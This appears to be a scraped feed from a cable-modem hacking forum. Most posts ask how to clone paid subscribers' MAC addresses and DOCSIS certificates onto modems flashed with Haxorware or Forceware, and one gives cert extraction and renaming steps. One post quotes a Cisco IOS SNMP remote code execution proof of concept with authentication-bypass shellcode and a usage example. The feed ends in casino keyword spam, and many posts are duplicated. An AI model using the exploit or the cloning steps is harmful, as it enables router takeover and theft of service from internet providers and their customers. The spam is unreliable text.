Hey guys i don't know if you guys can help. Just flashed my 6141 set up everything goes online with stock Cert then i changed my Modem Mac to paid Modem's mac and im getting a PERM AUTH FAILURE. I know it means mac doesn't match cert. IM USING WOW. I have a 5101 with haxorware and it goes online with same MAC but only on DOCSIS 2.0. If i download certs from HAXORWARE and upload to FORCEWARE will that work? i know my account is new but i was on SB hacker for years my user name was thegreat5o had tons of posts. Any help will be greatly appreciated.
↧
Arris 6141 Foreware
↧
Issues with some certs
Regards,
anyone knows whats happends when you get Registration Completed, but no operational, no auth errors neither.
valid certs from a 3.0 motorola modem, actually SBG6580, haxorware accepts the cert files, managed to insert them and downloaded backup (.tar file), i compared binary sizes, everything seems ok. but modem won't get online.
tried with SB5101 and SB5102 which has more space in nonvol area, same behavior. my guess is haxorware bug or failure to deal with those certs.
the private key is longer in this case, that could be the issue ? haxor failure to manage this ?
what could be wrong ?
anyone interested to help i could share cert files for testing
My Best Regards
anyone knows whats happends when you get Registration Completed, but no operational, no auth errors neither.
valid certs from a 3.0 motorola modem, actually SBG6580, haxorware accepts the cert files, managed to insert them and downloaded backup (.tar file), i compared binary sizes, everything seems ok. but modem won't get online.
tried with SB5101 and SB5102 which has more space in nonvol area, same behavior. my guess is haxorware bug or failure to deal with those certs.
the private key is longer in this case, that could be the issue ? haxor failure to manage this ?
what could be wrong ?
anyone interested to help i could share cert files for testing
My Best Regards
↧
↧
new old head
Wow things have changed, I remember you only needed to scan some macs in different nodes to get online. back then my modem of choice was the sb4100. I'm hearing now you need certs/serials ? How does one obtain or manufacture the certs? Im on OOL Brooklyn NY. oh and is the Motorola SB6120 Modem any good? I only remember the 4100 and DPC2100's ![Big Grin]( "Big Grin")
↧
FlashcatUSB Classic 2.2 Giveaway For Contributors
Found this giveaway over on the unofficial black cat forum, thought others would be interested: http://www.blackcatusb.net/index.php?thr...dated.460/
More info on whats new in PCB v2.2: http://www.blackcatusb.net/index.php?thr...b-2-2.456/
More info on whats new in PCB v2.2: http://www.blackcatusb.net/index.php?thr...b-2-2.456/
Quote:As many of you know, the FlashcatUSB software is reaching build 500. This ultra polished version finally merges all code into a single executable and will offer multiple new features and device support. To celebrate this milestone, we are going to re-translate all of the text (ascii strings) for the multi-language options. For successful translations, I will award the user a free FlashcatUSB Classic (PCB 2.2), USB cable, a choice of connector, and shipping. If more than one translation is submitted and both are very accurate, I will reconcile them and award both users.
Official rules:
1) You must live in the country of the target language.
2) You must be of 18 years or older.
3) Every phrase must be properly translated (using local dialect terminology if needed), estimated to be around 100.
4) You must speak English well as a second language.
5) Your country must allow imports from USA.
And finally, the languages we will need translated:
1) Spanish 2) Portuguese 3) French 4) German 5) Italian 6) Russian 7) Japanese 8) Arabic 9) Hindi 10) Korean
DOWNLOAD EXCEL SHEET HERE: (FlashcatUSB Excel sheet)
Instructions: You only need to translate "Column C", which is the text used in the software. The column B is the label the text exists, and the last column may contain comments to give context. Also, if you are not sure what a text/phrase means, just email or message me and ill try my best to help explain.
Please email finished files to: contact@embeddedcomputers.net
![[Image: 9oVr9kwl.jpg]](http://i.imgur.com/9oVr9kwl.jpg)
↧
Question about modren day Flashing
Hi, I am new to this form.
I registered because I was hoping some of you could help me in the right direction .
In 2009 I made a serial black-cat cable and using the black-cat software I flashed the SB500x with Haxorware / Sigma / Fresca .
Now in 2017, I no longer have a serial port and Black-cat /Tom's JTAG don't run on windows 10.
So its time to try a different approach.
I sodded in some header pins and connected a UART/TTL cable from China
![[Image: attachment.php?attachmentid=496&d=1296767228]]()
![[Image: 1PCS-PL2303-PL2303HX-USB-to-UART-TTL-Cab...40x640.jpg]]()
Using Puty I tried to read the serial data, but all I got is a black screen.
Then I disconnected the UART cable and hooked up an 'ST-Link V2r interface Programmer' from china.
![[Image: HTB1WDD7QFXXXXXcXVXXq6xXFXXXP.jpg]]()
The ST-Link software told me it could not connect .
So I disconnected it and hooked up a Chinese USB-Blaster, just for kicks .
![[Image: altera-max-ii-epm570-cpld-core-board-usb.jpg]]()
The USB-Blaster gives me a instant Blue Screen OD.
So I am wondering :
1- Why isn't the UART/TTL cable displaying any serial output ?
2- Is there an other cheap programmer that will work with FlashcatUSB / BlackcatUSB ?
3- Is the any software that can run on win10 that will support the printerport cable ?
Thanks in advanced for your help!
I registered because I was hoping some of you could help me in the right direction .
In 2009 I made a serial black-cat cable and using the black-cat software I flashed the SB500x with Haxorware / Sigma / Fresca .
Now in 2017, I no longer have a serial port and Black-cat /Tom's JTAG don't run on windows 10.
So its time to try a different approach.
I sodded in some header pins and connected a UART/TTL cable from China
![[Image: 1PCS-PL2303-PL2303HX-USB-to-UART-TTL-Cab...40x640.jpg]](http://ae01.alicdn.com/kf/HTB1l2RIPFXXXXa.XpXXq6xXFXXXh/1PCS-PL2303-PL2303HX-USB-to-UART-TTL-Cable-Module-4p-4-pin-RS232-Converter.jpg_640x640.jpg)
Using Puty I tried to read the serial data, but all I got is a black screen.
Then I disconnected the UART cable and hooked up an 'ST-Link V2r interface Programmer' from china.
![[Image: HTB1WDD7QFXXXXXcXVXXq6xXFXXXP.jpg]](http://ae01.alicdn.com/kf/HTB1WDD7QFXXXXXcXVXXq6xXFXXXP/202169269/HTB1WDD7QFXXXXXcXVXXq6xXFXXXP.jpg)
The ST-Link software told me it could not connect .
So I disconnected it and hooked up a Chinese USB-Blaster, just for kicks .
![[Image: altera-max-ii-epm570-cpld-core-board-usb.jpg]](http://www.dhresource.com/0x0s/f2-albu-g4-M01-ED-E9-rBVaEVcF-piAAowhAAIFTgTVb-c576.jpg/altera-max-ii-epm570-cpld-core-board-usb.jpg)
The USB-Blaster gives me a instant Blue Screen OD.
So I am wondering :
1- Why isn't the UART/TTL cable displaying any serial output ?
2- Is there an other cheap programmer that will work with FlashcatUSB / BlackcatUSB ?
3- Is the any software that can run on win10 that will support the printerport cable ?
Thanks in advanced for your help!
↧
↧
spectrum or wow dumps ???/???
any body got 6121 or 6141 dumps for either
↧
Linksys
Is there a way to make haxoware witout blackcat? only with software ?
Thanks!
Thanks!
↧
Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
Anyone able to host tftp on port 69 without getting timed out?
Trying to use tftp_write or tftp_read command but cannot specify port. Default port is on 69.
similar to this. https://www.forocable.com/foro/threads/4...el-bpi-bin
Trying to use tftp_write or tftp_read command but cannot specify port. Default port is on 69.
similar to this. https://www.forocable.com/foro/threads/4...el-bpi-bin
↧
It's been about 7 years..
I am lost and need help finding my way home please
↧
↧
OC CALIFORNIA LOOKING LIKE
![[Image: s5lcfd.png]](http://i67.tinypic.com/s5lcfd.png)
Prayers ...
↧
SB5101 Certs on a SB6120
Hi! I have a SB6120 with forceware 1.4b1. I've been trying to get it to work for a few days with working certs from my sb5101 (faster speeds). I followed the tutorial on how to get the certs from the nonvol with cmnonexp.exe, rename them and then get them in the sb6120 via winscp.
Based on the tutorial rename them:
non01_public.key -> mfg_key_pub.bin
non01_private.key -> cm_key_prv.bin
non01_root.key -> root_pub_key.bin
non01_ca_cert.cer -> mfg_cert.cer
_cert.cer igual.
But my modem had:
fw_key_prv.bin <=
fw_cert.cer <=
root_pub_key.bin
mfg_cert.cer
Which is the right way to raname them? this is what Im getting in the log "Decrypt Auth Key: Couldn't format PKCS#8 private key into PKCS#1 format"
Thanks in advanced.
Based on the tutorial rename them:
non01_public.key -> mfg_key_pub.bin
non01_private.key -> cm_key_prv.bin
non01_root.key -> root_pub_key.bin
non01_ca_cert.cer -> mfg_cert.cer
_cert.cer igual.
But my modem had:
fw_key_prv.bin <=
fw_cert.cer <=
root_pub_key.bin
mfg_cert.cer
Which is the right way to raname them? this is what Im getting in the log "Decrypt Auth Key: Couldn't format PKCS#8 private key into PKCS#1 format"
Thanks in advanced.
↧
SBG901 Latest Firmware?
Does anybody have or know where I can find the latest firmware for a SBG901?
Here is what mine currently has: SBG901-2.1.2.0-GA-02-188-NOSH
Thanks in advance
Here is what mine currently has: SBG901-2.1.2.0-GA-02-188-NOSH
Thanks in advance
↧
haxorware on sbg6580 !
May be i am way behind to catch up with all you guys. But just curious how can I start to install haxorware or forceware on sbg6580 which has firmware SBG6580-6.5.2.0-GA-06-NOSH
Hope someone may help me out. Thanks ya !
Hope someone may help me out. Thanks ya !
↧
↧
Orange 3.1 modem
I have a orange arris docsis 3.1 modem.
It’s brand new. It had two holes cutout on top for headers. When I try to connect my computer to it, it doesn’t get a ip, and yes the coax isn’t connected. Any thoughts??
I’m trying to post pics, but the forum won’t let me upload anything over a meg...
It’s brand new. It had two holes cutout on top for headers. When I try to connect my computer to it, it doesn’t get a ip, and yes the coax isn’t connected. Any thoughts??
I’m trying to post pics, but the forum won’t let me upload anything over a meg...
↧
flashcat usb pro
hi all, firstly merry xmas to all, right, my question is: im looking to buy a nand reader/writer, I have seen the flashcat usb pro with nand adapter and thinking of buying one of these to communicate with arris tg2492lg, I have seen a few on fleabay and there are that many different adaptors which one do I get? is there an adapter I can get where I can solder it to the chip itself without having to remove the nand as my soldering skills are pretty good but removing and replacing the nand is something I don't want to try without the proper equipment, I also have usbjtagnt, and a rpi3, are there any adaptors for these I can use to read nand? andy m said I can use a xbox 360 nand reader/writer to do the nand on this board but don't want to go and buy one if nobody can confirm this, which one should I buy???
and thanks for reading this
and thanks for reading this
↧
Firmware 1202 motorola
Hi Guys , can you guys help me please.... i want to change my firmware on motorola1202 is there a way to do it witout cables? only with software, script or something?
↧
Cisco IOS SNMP RCE PoC
Quote:CVE-2017-6736 / cisco-sa-20170629-snmp Cisco IOS remote code execution
This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability in SNMP service disclosed by Cisco Systems on June 29th 2017 - https://tools.cisco.com/security/center/...70629-snmp
Description
RCE exploit code is available for Cisco Integrated Service Router 2811. This exploit is firmware dependent. The latest firmware version is supported:
Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1)
ROM Monitor version:
System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)
Read-only community string is required to trigger the vulnerability.
Shellcode
The exploit requires shellcode as HEX input. This repo contains an example shellcode for bypassing authentication in telnet service and in enable prompt. Shellcode to revert changes is also available. If you want to write your own shellcode feel free to do so. Just have two things in mind:
Don't upset the watchdog by running your code for too long. Call a sleep function once in a while.
Return execution flow back to SNMP service at the end. You can use last opcodes from the demo shellcode:
3c1fbfc4 lui $ra, 0xbfc4
37ff89a8 ori $ra, $ra, 0x89a8
03e00008 jr $ra
00000000 nop
Usage example
$ sudo python c2800nm-adventerprisek9-mz.151-4.M12a.py 192.168.88.1 public 8fb40250000000003c163e2936d655b026d620000000000002d4a821000000008eb60000000000003c1480003694f000ae96000000000000aea00000000000003c1fbfc437ff89a803e0000800000000
Writing shellcode to 0x8000f000
.
Sent 1 packets.
0x8000f0a4: 8fb40250 lw $s4, 0x250($sp)
.
Sent 1 packets.
0x8000f0a8: 00000000 nop
.
Sent 1 packets.
0x8000f0ac: 3c163e29 lui $s6, 0x3e29
.
Sent 1 packets.
0x8000f0b0: 36d655b0 ori $s6, $s6, 0x55b0
Notes
Firmware verson can be read via snmpget command:
$ snmpget -v 2c -c public 192.168.88.1 1.3.6.1.2.1.1.1.0
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version 15.1(4)M12a, RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright © 1986-2016 by Cisco Systems, Inc.
Compiled Tue 04-Oct-16 03:37 by prod_rel_team
Author
Artem Kondratenko https://twitter.com/artkond
https://github.com/artkond/cisco-snmp-rce
↧
↧
force_cfgfile
FORCE the use of non-vol specified config file!...
Starting Tftp of configuration file...
TFTP server index 0 IP: x.x.x.x
Opening file 'cm.bin' on x.x.x.x for reading...
CM/NonVol/CM DOCSIS NonVol> [23:32:17 12/22/2017] [CmDocsisIpThread] Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
[23:32:17 12/22/2017] [CmDocsisIpThread] Tftp Client::Send: (Tftp Client) Attempt #(1) Backoff (1) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
CM/NonVol/CM DOCSIS NonVol> [23:32:19 12/22/2017] [CmDocsisIpThread] Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
[23:32:19 12/22/2017] [CmDocsisIpThread] Tftp Client::Send: (Tftp Client) Attempt #(2) Backoff (2) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
CM/NonVol/CM DOCSIS NonVol> [23:32:23 12/22/2017] [CmDocsisIpThread] Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
[23:32:23 12/22/2017] [CmDocsisIpThread] Tftp Client::Send: (Tftp Client) Attempt #(3) Backoff (4) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
This is for using force_cfgfile + dhcp_settings. Local tftp ip doesn't seem to work.
Anyone know how to autoserve config like haxorware in broadcom shell with telnet commands?
Starting Tftp of configuration file...
TFTP server index 0 IP: x.x.x.x
Opening file 'cm.bin' on x.x.x.x for reading...
CM/NonVol/CM DOCSIS NonVol> [23:32:17 12/22/2017] [CmDocsisIpThread] Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
[23:32:17 12/22/2017] [CmDocsisIpThread] Tftp Client::Send: (Tftp Client) Attempt #(1) Backoff (1) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
CM/NonVol/CM DOCSIS NonVol> [23:32:19 12/22/2017] [CmDocsisIpThread] Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
[23:32:19 12/22/2017] [CmDocsisIpThread] Tftp Client::Send: (Tftp Client) Attempt #(2) Backoff (2) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
CM/NonVol/CM DOCSIS NonVol> [23:32:23 12/22/2017] [CmDocsisIpThread] Tftp Client::GetReply: (Tftp Client) Timed out on socket select!
[23:32:23 12/22/2017] [CmDocsisIpThread] Tftp Client::Send: (Tftp Client) Attempt #(3) Backoff (4) Exp Block #(1) Last Block #(0) Recv'd Block #(0)
This is for using force_cfgfile + dhcp_settings. Local tftp ip doesn't seem to work.
Anyone know how to autoserve config like haxorware in broadcom shell with telnet commands?
↧
anyone have any wisconsin bins ?
need full flash for wis 6121/6141/6580
↧
Sloto cash casino bonus codes 2018 bet365 casino bonus
all slot games online vegas online casino coupon codes casino online slots 123 slots casino roulette 0 and 00 begado online casino casino bonus benvenuto senza deposito hustlers casino online poker bonus codes for club player casino casino close to vancouver washington film casino online gratis mobile no deposit bonus casino casino online usa casino roulette cake casino titan bonus codes no deposit casino bus tours minnesota bwin bonus code casino casino cash lottery top asian online casino
Place Your Bet Online And Use Your Chance In Our Online Casino
![[Image: ry3f52dil.jpg]](http://tillerrakes.com/img/all87777/ry3f52dil.jpg)
play poker online slot machines new vegas spin and play game online baccarat stone cookware valley forge casino king of prussia pennsylvania gala casino online review pechanga casino slots slots in vegas with best odds ruleta casino online ndb online casino pathfinder animal slots casino spel gratis slots bet4joy casino online casino games for real money slot machine usb slots casino app wow character equipment slot numbers csgo gambling 0.01 poker 777 hit it rich casino slots coins hack rich reels casino mobile south african online casino games no deposit welcome bonus forex apache casino jobs in lawton ok play online casino in malaysia casino room bonus codes october 2018 casino las vegas usa no deposit bonus online casino canada games to teach times tables parx casino slot tournament best online blackjack gambling sites many cash slots games to win real money sloto cash tournament password 2018 top spin 4 gameplay online golden games online y8 casino games slot machine borderlands 2 glitch live casino philadelphia news vendita slot machine usate napoli online baccarat forum unsecured credit cards with no deposit casinos gambling age 18 california online casinos for us players accepting mastercard tips menang blackjack online maths x tables mgm casino washington dc jobs grand online casino bonus code 2018 lucky ducky slots online winward casino online europa casino no deposit bonus code 2018 tropworld casino slots used poker chips las vegas live roulette for us players cherry red casino slots tropworld casino slots high five casino app for android casino del rio bonus code 2018 slot games book ra play online maryland live casino penny slots electronic roulette nieuw nederlands online casino online slot booking vit slot games cleopatra 2 casino table background slots in vegas 2018 casino slot finder best online slots review no deposit bonus texas holdem poker spokane washington casino poker casino star slot casino slot bonus bear bingo casino green bay joy casino bonus code online casino winner stories uitbetaling roulette holland casino create slot machine after effects dragon ball xenoverse select slot locked vivarobet armenia axn spin online tv goldfish online slot game slot games for pc offline casino bonus no deposit code gratis casino online spiele ohne anmeldung grand victoria casino hours of operation best online casino for new zealand book magic game lake charles casino bus trips ladbrokes casino mobile casino bus trips from augusta ga zoloft gambling addiction novomatic slots casinos around daytona beach florida slot machine casinos in washington state crystal casino team slot games 777 online blue square casino online rio casino michael jackson online casino uk no deposit online roulette tables fixed casino lemonade games slot machines online gambling za casino del sol golf course tee times 7 11 uk konami slot machine hack mobile casino instant no deposit bonus lucky sushi romaria 777 gambling addiction utah royal palace casino online caesars casino hack 2018 slot machine 50 lines casinos 32935 vegas casino online promotions best casinos bossier city rome casino android 24 hour slots roscoe il casino x online slot bonanza hack android no deposit bonus real money slots fun online times table games casino online mundial casino online rating online casino slot machines for real money william hill casino club coupon code vegas avtomati casino casino dice games casino hry na mobil star casino sydney opening times no deposit bonus casino mobile australia crack the online slot machines play live casino bally slot machine 809-b onbling casino no deposit bonus codes 2018 mr. cashman online slots
↧